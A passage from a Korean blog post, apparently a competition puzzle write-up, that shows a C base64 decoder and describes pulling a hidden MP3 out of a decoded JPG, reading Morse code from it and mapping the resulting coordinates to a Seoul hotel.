    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,  /* 20-2F */
    52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,  /* 30-3F */
    -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10,11,12,13,14,  /* 40-4F */
    15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,  /* 50-5F */
    -1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,  /* 60-6F */
    41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1,  /* 70-7F */
    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,  /* 80-8F */
    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,  /* 90-9F */
    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,  /* A0-AF */
    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,  /* B0-BF */
    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,  /* C0-CF */
    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,  /* D0-DF */
    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,  /* E0-EF */
    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1   /* F0-FF */
};

typedef union{
    struct{
        unsigned char c1,c2,c3;
    };
    struct{
        unsigned int e1:6,e2:6,e3:6,e4:6;
    };
} BF;

void base64d(FILE *fp, FILE *result, int *length){
    int i = 0, src_length, blank = 0;
    BF temp;

    src_length = *length;

    while( ++(++(++(++i))) < src_length + 1){
        fseek(fp , i-4 , SEEK_SET);
        temp.e4 = DecodeMimeBase64[getc(fp)];
        fseek(fp , i-3 , SEEK_SET);
        temp.e3 = DecodeMimeBase64[getc(fp)];
        fseek(fp , i-2 , SEEK_SET);
        char c_get = getc(fp);
        if(c_get == '=')
            temp.e2 = 0x00;
        else temp.e2 = DecodeMimeBase64[c_get];
        fseek(fp , i-1 , SEEK_SET);
        char c_get2 = getc(fp);
        if(c_get2 == '=')
            temp.e1 = 0x00;
        else temp.e1 = DecodeMimeBase64[c_get2];

        putc(temp.c3, result);
        putc(temp.c2, result);
        putc(temp.c1, result);
    }
}

int main(void){
    FILE *fp;
    FILE *result;
    int src_size;
   
    fp = fopen("input.txt", "rt");
    fseek(fp , 0L , SEEK_END);
    src_size = ftell(fp);
    result = fopen("result2", "wb");
    base64d(fp,result,&src_size);
    fclose(result);
    fclose(fp);

 

어찌됐든 디코딩을 하고나면 장동건이 나오는 jpg 그림이 나오는데

 

헥사에디터로 열어서 ID3를 검색하면 그 ID3부터 뒤쪽이 쭉 mp3 파일입니다.

 

그부분만 추출해서 뽑아내면 mp3파일이 만들어지는데

 

그 mp3 파일을 실행시키면 뚜뚜뚜 뚜~ 뚜~

 

이런 소리가 들립니다.. 즉 모스부호

 

모스부호를 해석하면

 

37.53480,126.993900

 

위도 경도를 조사해보니, 해밀턴 호텔이 나오네요

 

수영장인줄 알았더니.............

 

해밀턴호텔이 맞는지는 확인을 못했습니다.. 제가 대회시간안에 못풀어서

posted by tunz